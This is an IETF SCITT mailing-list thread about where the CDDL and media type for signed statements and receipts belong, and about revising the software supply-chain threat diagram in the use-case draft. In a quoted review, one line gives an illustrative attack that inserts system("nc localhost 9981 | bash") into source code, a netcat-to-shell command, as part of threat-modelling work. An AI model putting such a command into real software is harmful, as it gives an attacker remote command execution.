[SCITT] Re: some comments on architecture and use case documents

[Henk Birkholz <[e-mail]>]

Hi all,

focusing on "where does the CDDL go".

The cddl definitions in the architecture (i.e., how a statement is 
signed, how a receipt is signed) are limited to the core of 
interoperability in SCITT. SCRAPI is a reference API (a specific pattern 
to register a statement and to retrieve the corresponding receipt) that 
can be used to implement application code that can actually handle 
Software-Supply-Chain related protocol interactions (w.g., some use case 
we started from, such as: give me all CVEs you registered about this 
software component that you registered).

I understand the intuitive impulse to move cddl for signed statements 
and receipts to SCRAPI, as it is about messages and messages are related 
to APIs. But as these message layouts (the signing of statements and the 
receipts) are not specific to SCRAPI, as they can be added to, for 
example, any existing challenge response interaction model. I really 
think that SCRAPI is a specific pattern used as a reference how to 
implement scitt and that the cddl in the arch shows the (pretty concise) 
generic pattern that all "SCITT interoperable" systems have to use.

Does that make sense?


Viele Grüße,

Henk

On 29.06.24 18:19, A.J. Stein wrote:
> I had started a reply but had not finished and sent it along. Inline 
> comments tacking on to Orie's reply.
> 
> On Sat, Jun 29, 2024 at 4:45 AM Orie Steele <[e-mail]> 
> wrote:
> 
>     Media type belongs in the SCRAPI document.
> 
>     I agree with the comment about CDDL, that could also move to SCRAPI
>     potentially.
> 
> 
> I can also agree to its relocation.
> 
> 
>     I made similar comments a while back.
> 
>     I think I would slightly prefer to keep the architecture high level,
>     and move the protocol, data model and interface specification to a
>     single document like SCRAPI that references the architecture.
> 
>     But I don't feel strongly about this.
> 
> 
> I am also supportive of this and do not feel strongly either.
> 
> Question: if we get consensus on this, does this proposed change mean 
> that the protocol would only be represented as only a HTTP-based REST 
> API and additional representations/implementations/what have you could 
> and should be added later? I do not know if this was discussed by other 
> prior.
>   .
> 
> 
>         https://www.ietf.org/archive/id/draft-ietf-scitt-software-use-cases-03.html#lifecycle-threats <https://www.ietf.org/archive/id/draft-ietf-scitt-software-use-cases-03.html#lifecycle-threats>
>         Is a great diagram.  I think that there probably needs to be
>         more explanation
>         about what each step is.  Probably dumb it down a bit, and then
>         explain what
>         failure at each step is being exploited.
> 
> 
> Agree to this, I have not re-read or reviewed it in a long time.
> 
>         Box one shows:
>            Code -> Compromise source control
> 
>         but, really, it's not compromising the source code control, it's
>         compromising
>         the source.  For instance, an attack here might be via loading a
>         module into
>         an IDE that inserts _system("nc localhost 9981 | bash")_ at the
>         top of main(),
>         but conceals it from the programmer.   The developer's desktop
>         has been compromised.
> 
>         Box two shows:
>         Commit  -> Malicious plug-ins; Malicious commit
> 
>         I'm not sure what is being plug-in here, I guess something in
>         the source code
>         control system.  (i.e. .git/hooks)... I would put that in box one.
>         A malicious commit is really what I think this box intends, and
>         that does not
>         mean compromising a developer's desktop.
> 
>         Tampering with the build cache (e.g., "ccache") is a pretty
>         sophisticated attack.
>         (it's very subtle, and it's what I'd do!), but the words on
>         their own
>         probably do not inform people, it probably needs a reference.
> 
>         In general, I'd redo this diagram to have words that explain
>         what each step
>         does (when running correctly), and then in text afterwards,
>         explain the
>         attacks.
>         At which point, I think I'd move that *ENTIRE* section to the
>         Architecture document.
> 
> 
>     This suggestion is interesting.
> 
>     I think we have to date tried to keep the architecture use case
>     agnostic, despite SCITT being only chartered to address software
>     supply chain use cases.
> 
>     Perhaps by keeping the architecture use case agnostic we've weakened
>     its applicability.
> 
>     I wouldn't object if authors decided to internalize more software
>     use cases, but I don't feel strongly about it.
> 
> 
> Do we mean hear properly identify misuse cases/attacks that could occur 
> at one or more resources at different life cycle steps in the diagram? I 
> too think it could be beneficial.
> 
> 
>         I found section 2.10, about components for a Smart car very
>         specific, in a
>         section that was otherwise pretty abstract.  Perhaps it's just
>         the title of
>         the section which is the problem.  Perhaps the example of a
>         smart-car just
>         needs to be text that gives the specifics for one case.
>         My very limited understanding of the Boeing 737MAX stall sensor
>         failures are
>         partly the result of poor integration process (each party
>         thought the other
>         party would be dealing with failure of a sensor). If someone had
>         corroborating details and references, that might make a better
>         example.
>         (This is an example of provenance failures unrelated to a
>         malicious act)
> 
> 
>     I wonder if we could generalize this to a use case for consideration.
> 
>     I would not put such a physical supply chain scenario in the
>     architecture.
> 
> Agreed, but when we talk of "physical supply chain scenarios," I often 
> think SCITT is really about the digitalization of statements in supply 
> chain(s), whether or not the software is "on the metal" and deployed 
> with a physical device (autonomous vehicle like in 2.10) or container 
> for use in a virtualized cloud environment (even if there is hardware 
> there, we wave our hands and rightfully leave that out of scope in 
> design and operation of those systems).
> 
> Is there some way to convey that in the architecture and use case 
> documents, or am I in fact stepping outside the scope of the charter? I 
> have thought this is the scope, but we do not clarify this sufficiently 
> but correctly emphasize physical supply chain scenarios are out of scope.
>